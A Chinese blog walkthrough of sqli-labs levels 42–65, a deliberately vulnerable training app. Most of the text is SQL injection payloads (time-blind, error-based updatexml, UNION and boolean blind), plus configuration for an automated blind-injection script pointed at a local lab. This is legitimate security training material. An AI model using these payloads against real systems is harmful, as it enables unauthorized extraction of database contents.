sql-labs:42~65

news2024/12/26 13:33:31

less42(单引号闭合、报错回显)

login_user=admin
login_password=123' and if(1=1,sleep(2),1) #                                # 单引号闭合
​
login_user=admin
login_password=123'and updatexml(1,concat(0x7e,database(),0x7e),1)#         # 报错回显
 
用户名有过滤,
tips:
这里还是强调一下,时间注入测试注入点,sql语句必须有查询结果才能sleep,而且and连接的条件必须都成立才能sleep,两者缺一不可
所以输入的用户名和密码必须都正确,也就是有一个用户凭据才能有sql语句查询结果,才能sleep

less43(单引号括号闭合、报错回显)

跟less42一样
login_password=1') and updatexml(1,concat(0x7e,user(),0x7e),1)--+

less44(单引号闭合、半回显)

login_user=admin
login_password=123456' and if(1=1,sleep(2),1) # 
​
布尔注入:
login_user=admin
login_password=123456' and substr(DATABASE(),1,1)='s' # 
​
如果回显结果有slap1.jpg说明爆出来了一个字符

less45(单引号括号闭合、半回显)

跟less44一样
​
布尔注入语法:
login_user=admin
login_password=123456') and substr(database(),1,1)='s' and ('1')=('1
​
这里可以使用状态码进行半回显判断,也可以不使用slap1.jpg回显判断
如果爆出来一个字符,则返回302,如果不是则返回200

less46(order by注入手法、报错回显)

sql语法规定:order by后不能接 union select
Incorrect usage of UNION and ORDER BY
​
使用时间或报错
​
sort=1 and if(1=1,sleep(0.05),1) --+
不知道为什么这里的sleep时间突然变得好长,之前sleep相同的数值,很快就sleep完了
sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less47

(46~53都是这个order by、无非就是闭合方式不一样和有报错回显的问题,有报错回显报错注入,没有就布尔盲注时间盲注,换汤不换药)
(这里没有测试布尔盲注,直接用的时间盲注)
(但是布尔盲注优先级是比时间盲注要高的,作者只测试了时间盲注是为了减小工作量,因为基本上有了sql注入,时间盲注可行性最大)
(布尔盲注搞不定了,再时间盲注)
sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
发现单引号闭合:
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less48

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 无报错回显
​
sort=1 and if(substr(database(),1,1)='s',sleep(0.05),1) --+             # 时间盲注

less49

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 无报错回显
​
sort=1' and if(substr(database(),1,1)='s',sleep(0.05),1) --+            # 时间盲注

less50

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less51

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less52

sort=1 and if(1=1,sleep(0.05),1)                                        # 无闭合
​
sort=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 无报错回显
​
sort=1 and if(substr(database(),1,1)='s',sleep(1),1) --+                # 时间盲注

less53

sort=1' and if(1=1,sleep(0.05),1) and '1'='1                            # 单引号闭合
​
sort=1' and updatexml(1,concat(0x7e,database(),0x7e),1)                 # 无报错回显
​
sort=1' and if(substr(database(),1,1)='s',sleep(1),1)                   # 时间盲注

less54(54到65都是这个挑战)

id=1' and if(1=1,sleep(1),1) and '1'='1                                 # 单引号闭合
​
id=0' union select 1,database(),3 --+                                   # 全回显
​
id=0' union select 1,str_foo,3 --+                                      # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='gg0e5rd6g0')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',secret_BPRX,',',tryy) from gg0e5rd6g0)
​
tips:
当你用时间注入测试sql注入点时,比如你发现用''闭合的注入语句:
id=1' and if(1=1,sleep(1),1) and '1'='1
测试成功了,先不要急,因为它还有可能是
('')闭合
((''))闭合
((('')))闭合
...
可以加无数个括号,双引号""和括号()闭合也有这个问题

less55

id=1 and if(1=1,sleep(1),1)                                 此情况也可能是(),如下例子
SELECT * FROM security.users WHERE id=(1 and if(1=1,sleep(1),1) ) LIMIT 0,1
SELECT * FROM security.users WHERE id=1 and if(1=1,sleep(1),1)LIMIT 0,1
​
id=1" and if(1=1,sleep(1),1) and "1"="1                     此情况也有可能是(""),如下例子
SELECT * FROM security.users WHERE id="1" and if(1=1,sleep(1),1) and "1"="1" LIMIT 0,1
SELECT * FROM security.users WHERE id=("1" and if(1=1,sleep(1),1) and "1"="1    ") LIMIT 0,1
​
id=1' and if(1=1,sleep(1),1) and '1'='1                     此情况也有可能是(''),如下例子
SELECT * FROM security.users WHERE id='1' and if(1=1,sleep(1),1) and '1'='1' LIMIT 0,1
SELECT * FROM security.users WHERE id=('1' and if(1=1,sleep(1),1) and '1'='1    ') LIMIT 0,1
​
和less54一样
​
id=1) and if(1=1,sleep(1),1) and (1)=(1                     # 括号闭合      
​
id=0) union select 1,str_foo,3 --+                          # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less56

和less54、55一样
发现('')闭合,且有回显
id=0') union select 1,database(),3 --+
id=0') uNIon sELect 1,database(),3 --+

less57

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
和less54、55、56一样
发现""闭合,且有回显
id=0" union select 1,database(),3 --+

less58(less58~less61都是报错注入,就是闭合方式的不同)

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现''闭合,但回显是误导项,回显的账号密码不是数据库里的,而是php code里的,所以有回显等于无回显
​
id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+               # 报错回显
​
id=1' and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+                  # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less59

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现无闭合
id=1 and if(1=1,sleep(1),1) --+
​
id=1 and updatexml(1,concat(0x7e,database(),0x7e),1) --+                # 报错回显
​
id=1 and updatexml(1,concat(0x7e,str_foo,0x7e),1) --+                   # str_foo是占位符,使用的时候替换掉
​
# 查表
str_foo = (select GROUP_CONCAT(table_name) from information_schema.tables where table_schema='challenges')
​
# 查字段 
str_foo = (select GROUP_CONCAT(column_name) FROM information_schema.columns where table_name='查到的表')
​
# 查数据
str_foo = (select CONCAT(id,',',sessid,',',查到的字段,',',tryy) from 查到的表)

less60

跟58、59一样
​
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现("")闭合
​
id=1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+              # 报错回显

less61

跟58、59、60一样
​
id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现((''))闭合
id=1')) and updatexml(1,concat(0x7e,database(),0x7e),1) --+             # 报错回显

less62(less62~less65都是时间注入或布尔注入)

id=1 and if(1=1,sleep(1),1)
id=1" and if(1=1,sleep(1),1) and "1"="1
id=1' and if(1=1,sleep(1),1) and '1'='1
id=1') and if(1=1,sleep(0.1),1) and ('1')=('1 
id=1) and if(1=1,sleep(1),1) and (1)=(1 
id=1") and if(1=1,sleep(1),1) and ("1")=("1 
​
发现('')闭合,且无回显
id=1') and updatexml(1,concat(0x7e,database(),0x7e),1) --+
布尔注入:
id=1') and 1=1 --+
id=1') and 1=2 --+
发现正确的数据包显示,如下字符串
Your Login name : Angelina
Your Password : dhakkan
而错误的数据包不显示,那我们提取Password作为标志字符串,用于布尔盲注的判断
id=1') and substr(database(),int_foo,1)='char_foo' and ('1')=('1
​
id=1') and if(substr(database(),1,1)='c',sleep(1),1) --+
# 直接用我们之前写的脚本:https://github.com/iamnotamaster/sql-injecter
    dict_para_data = {
        'id' : 'hack123'
    }
    vuln_para = 'id'
    http_type = 1
    url = "http://127.0.0.1/sqli-labs/Less-62/"
    expected_data = "Password"
    payload_foo1 = "1') and int_foo>str_foo and ('1')=('1"
    payload_foo2 = "1') and char_foo>ascii(substr(str_foo,int_foo,1)) and ('1')=('1"
    str_foo1 = "length(database())"
    str_foo2 = "database()"
    # 爆库名
    # db_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)
    # db_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, db_len)
    # 爆表名
    str_foo1 = "(SELECT CHAR_LENGTH(group_concat(table_name)) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"
    str_foo2 = "(SELECT group_concat(table_name) AS result_length FROM information_schema.tables WHERE table_schema='challenges')"
    tb_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)
    tb_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, tb_len+1)
    # 爆字段
    str_foo1 = "(select CHAR_LENGTH(COLUMN_NAME) from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"
    str_foo2 = "(select COLUMN_NAME from information_schema.columns where table_name = '"+ tb_result + "' and table_schema = 'challenges' AND column_name LIKE 'secret\_%')"
    colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)
    colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, colu_len+1)
​
    # 因为字段secret_后面的的字符串是随机的(如secret_TGFJ),我们自动化取出来赋值给code变量
    index = colu_result.find('secret_')
    code = colu_result[index + len('secret_'):index + len('secret_')+4]
​
    str_foo1 = "(select CHAR_LENGTH(secret_" + code + ") from "+ tb_result +")"
    str_foo2 = "(select secret_" + code + " from "+ tb_result +")"
    colu_len = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo1, str_foo1, 40)
    colu_result = bool_based.binary_search_by_bool(dict_para_data, vuln_para, http_type,  url, expected_data, payload_foo2, str_foo2, colu_len+1)

less63

跟62一样
发现''闭合,且无回显
​
只修改62脚本中的url和payload就可以

less64

跟63、62一样
发现(())闭合,且无回显
​
只修改62脚本中的url和payload就可以

less65

跟63、62一样
发现("")闭合,且无回显
​
只修改62脚本中的url和payload就可以

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2180708.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

端模一体,猎豹移动对大模型机器人发展路径清晰

今年世界机器人大会刚刚收官不久,接咖啡、拿苹果、摊煎饼……人形机器人在这届大会上备受关注,厂商们编排“整活”,展位几乎水泄不通。 自从AI大模型开始全面改变市场开始,关于机器人的方向性争论就不绝于耳,就在最近的…

北京中实新材料:携手知名建筑企业,共筑重大工程辉煌篇章

近年来,北京中实新材料有限责任公司(以下简称“北京中实”)凭借其卓越的产品质量、专业的技术服务和良好的市场信誉,积极参与了一系列重大工程项目的建设,与多家知名建筑企业建立了长期稳定的合作关系,共同书写了城市发展的辉煌篇章。 深耕行业,铸就品质基石 自成立以来,北京中…

Python查漏补缺

1.冒泡排序 时间复杂度O(n^2) 选择、插入都是 def bubble(data, reverse):for i in range(len(data)-1):for j in range(len(data)-i-1):if data[j] > data[j1]:data[j], data[j1] data[j1], data[j]if reverse:data.reverse()return data 2.快速排序 时间…

《OpenCV 计算机视觉》—— 图像拼接

还未写完!!! 下面是两张需要拼接的图片 完整代码: import cv2 import numpy as np import sysdef cv_show(name, img):cv2.imshow(name, img)cv2.waitKey(0)def detectAndDescribe(image):gray cv2.cvtColor(image, cv2.COLOR_…

mobile_aloha训练过程中pycharm编辑器遇到的问题记录

目前在研究mobile aloha的训练算法部分,运行文件为imitate_episodes.py,对应指令: # To train ACT: python3 imitate_episodes.py --task_name mobile_imu --ckpt_dir /home/song/hjx/aloha/mobile-aloha_multi-sensor/ckpt/mobile_imu --pol…

Mac屏蔽系统更新,取出红点标记如果解锁hosts文件

引言:关闭系统更新,首先应该在系统偏好设置---软件更新---去掉自动更新的选项。即使如此,系统仍然进行macOS系统和自带safari等软件的检测更新,并图标右上角红点点标记提醒我们更新,那我们如果彻底屏蔽更新呢&#xff…

计算机毕业设计 基于爬虫与文本挖掘的网络舆情监控系统的设计与实现 Python+Django+Vue 前后端分离 附源码 讲解 文档

🍊作者:计算机编程-吉哥 🍊简介:专业从事JavaWeb程序开发,微信小程序开发,定制化项目、 源码、代码讲解、文档撰写、ppt制作。做自己喜欢的事,生活就是快乐的。 🍊心愿:点…

网站建设公司如何选?2024专业网站建设公司哪家好TOP3

要找一家靠谱的网站建设公司,可以根据以下五点判断: 1.企业的工商信息 企业有多少人、什么时候成立的、成立资金是多少、是否有违约记录这些都可以在查企业的那种app里可以看到,去查的时候一定要仔细甄别,别最后找了一家皮包公司…

HarmonyOS/OpenHarmony Audio 实现音频录制及播放功能

关键词:audio、音频录制、音频播放、权限申请、文件管理 在app的开发过程中时常会遇见一些需要播放一段音频或进行语音录制的场景,那么本期将介绍如何利用鸿蒙 audio 模块实现音频写入和播放的功能。本次依赖的是 ohos.multimedia.audio 音频管理模块&am…

基于Python大数据可视化的短视频推荐系统

作者:计算机学姐 开发技术:SpringBoot、SSM、Vue、MySQL、JSP、ElementUI、Python、小程序等,“文末源码”。 专栏推荐:前后端分离项目源码、SpringBoot项目源码、Vue项目源码、SSM项目源码 精品专栏:Java精选实战项目…

大模型压缩3种方式;模型大小的计算;知识蒸馏:利用教师的输入输出,训练调整学生的小模型

目录 大模型压缩3种方式 模型大小的计算 知识蒸馏:利用教师的输入输出,训练调整学生的小模型 最终学生学习多个教师的知识,学生强大 大模型压缩3种方式 模型大小的计算 知识蒸馏:利用教师的输入输出,训练调整学生的小模型

商务英语口语柯桥外语学习|ass是“屁股”,save是“救”,那 save my ass是什么意思?

有些人活着,屁股却已经“死”了 工作工作,上工就“坐”,“久坐”几乎是无法避免的事情,但你知道吗,长期久坐可能会患上死臀综合症(Dormant Butt Syndrome)! 如果你坐久了就觉得屁股痛…

imagickd写shell的技术学习

前言 没想到吧哥们,imagickd也能写shell,真是学到了不少,下面会具体分析是如何写shell的 基础知识 Imagick类 参考官方手册https://www.php.net/manual/zh/class.imagick.php 重点关注他的构造方法 (PECL imagick 2, PECL imagick 3) …

基于vue框架的大学生兼职平台r8x19(程序+源码+数据库+调试部署+开发环境)系统界面在最后面。

系统程序文件列表 项目功能:企业,用户,兼职信息,报名记录,岗位类型,专业,取消记录,评价记录 开题报告内容 基于Vue框架的大学生兼职平台开题报告 一、开题报告名称 基于Vue框架的大学生兼职平台 二、研究背景与意义 2.1 研究背景 随着高等教育的普及和就业市…

https访问报错:net::ERR_CERT_DATE_INVALLD

目录 简介异常排查原因解决补充 简介 访问https资源出现报错 异常 排查 将地址拿到浏览器进行访问,可以很清晰的看到出现该问题的原因 原因 1、SSL证书已过期 2、服务器日期不准,不在证书有效期 解决 1、重新申请SSL证书,并配置 2、校正…

平安养老险深圳分公司积极开展“金融教育宣传月”活动,展现金融为民新风尚

2024年9月,平安养老险深圳分公司以“金融为民谱新篇,守护权益防风险”为主题,正式启动2024年“金融教育宣传月”活动,通过多样化开展进乡村、进商圈、进企业等宣传教育活动,将金融消保知识送达广大消费者身边&#xff…

Linux使用systemd安排定期任务的操作详解

systemd 定时器是一种替代传统 cron 的方法,用于安排定时任务。 systemd 定时器由两部分组成:一个 .service 文件和一个 .timer 文件。.service 文件定义了要执行的任务,而 .timer 文件设定了何时执行这个任务。 通常位于 /etc/systemd/syste…

使用rsync+jenkins实现服务自动部署全流程

项目背景:城市政务云服务器没有上k8s,所有后端服务都是原始方式部署启动 (java -jar xxx.jar),那么有没有方式简化部署难度,实现自动部署?当然是有的,下面详细介绍(以Cen…

开源实战分享 | 新书:《大型语言模型实战手册》随书代码分享

《大型语言模型实战手册》(英文版)目前电子版在亚马逊有售,纸质版预计在2024年10月15日开售。该书通过超过275张定制插图,深入探索大型语言模型的世界,为Python开发者提供使用大型语言模型所需的实用工具和概念。 如果对于插图没有特别执念的…

Jupyter的使用分享

文章目录 碎碎念安装方法1.安装Anaconda方法2.通过库的安装方式 启动使用教程1.指定目录打开2.启动后的简单使用 小结 碎碎念 前情提示 之前与许多小伙伴交流的时候,发现大家对于pycharm更容易上手(可能是比较好设置中文的原因),在…